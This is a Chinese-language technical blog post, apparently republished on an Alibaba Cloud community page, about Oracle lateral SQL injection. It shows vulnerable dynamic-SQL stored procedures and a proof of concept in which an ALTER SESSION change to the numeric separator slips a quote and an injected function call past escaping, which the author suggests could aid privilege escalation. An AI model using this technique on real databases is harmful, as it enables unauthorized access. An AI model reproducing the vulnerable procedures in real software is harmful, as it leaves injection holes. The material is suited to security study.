ORACLE LATERAL-SQL-INJECTION 個人見解

來源:互聯網
上載者:User

如果直接執行SQL語句或者參數綁定則不用擔心太多,
如以下ORACLE預存程序
create or replace procedure kjdatepoc(date d)

as

begin

insert into kjdatetable values(d);

commit;

end;

根本不需要擔心遭受到SQL新型注入攻擊,那麼在什麼地方會發生DATE 以及 NUMBER的注入攻擊呢!?一般都是採用了動態SQL而又不採用參數綁定的語句。

例如工程師經常用的DBMS_SQL或者EXECUTE IMMEDIATE

看以下預存程序

create or replace procedure kjdatepoc(date d)

as

begin

execute immediate ‘insert into kjdatetable values('|| d ||')';

commit;

end;

那麼遇到以上的預存程序或者函數等,也通過修改SESSION中的NLS_DATE_FORMAT中的值達到SQL注射的目的,

老外的PAPER講解得非常詳細了 ,我在這裡也不廢話。

惟獨對於 NUMBER類型的注射沒有多作講解 只是簡單示範了可以輸出單引號!

看以下語句

ALTER SESSION SET NLS_NUMERIC_CHARACTERS=”'.';

SELECT to_number(1000.10001,'999999D99999′)||” FROM DUAL;

輸出一下結果

1000′10001

只是多了一個單引號,那有什麼用呢?樂觀的來說!在特定情況下是很有價值的!看以下一個預存程序

create or replace procedure NumInjPoc(kjexpnum number,kjexpstr varchar2)

is

SecStr varchar2(1000);

begin

SecStr:=replace(kjexpstr,””,”””);

sys.dbms_output.put_line('SELECT * FROM DUAL WHERE ID='||kjexpnum||' and name=”'||SecStr||””);

end;

內部對varchar類型進行替換了!我們可以進行測試

begin

numinjpoc(1000,”'–');

end;

其輸出SQL語句為

SELECT * FROM DUAL WHERE ID=1000 and name=”'–'

單引號被轉義掉了

那麼如果我們結合這個NUMBER類型怎麼進行注射呢?

ALTER SESSION SET NLS_NUMERIC_CHARACTERS=”'.';

begin

numinjpoc(TO_NUMBER(0.10001,'999999D99999′),'||kj.exp()–');

end;

看看輸出結果

SELECT * FROM DUAL WHERE ID='10001 and name='||kj.exp()–'

這樣就可以間接的攻擊它…

在某中程度才來需要ALTER SESSION 配合後,再去攻擊系統內部的一些函數或者過程來提升許可權。未嘗不是一種好的突破思路,但是對於單語句進行SQL注射攻擊,以結果為嚮導的話!這樣的方式沒多大作為。

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.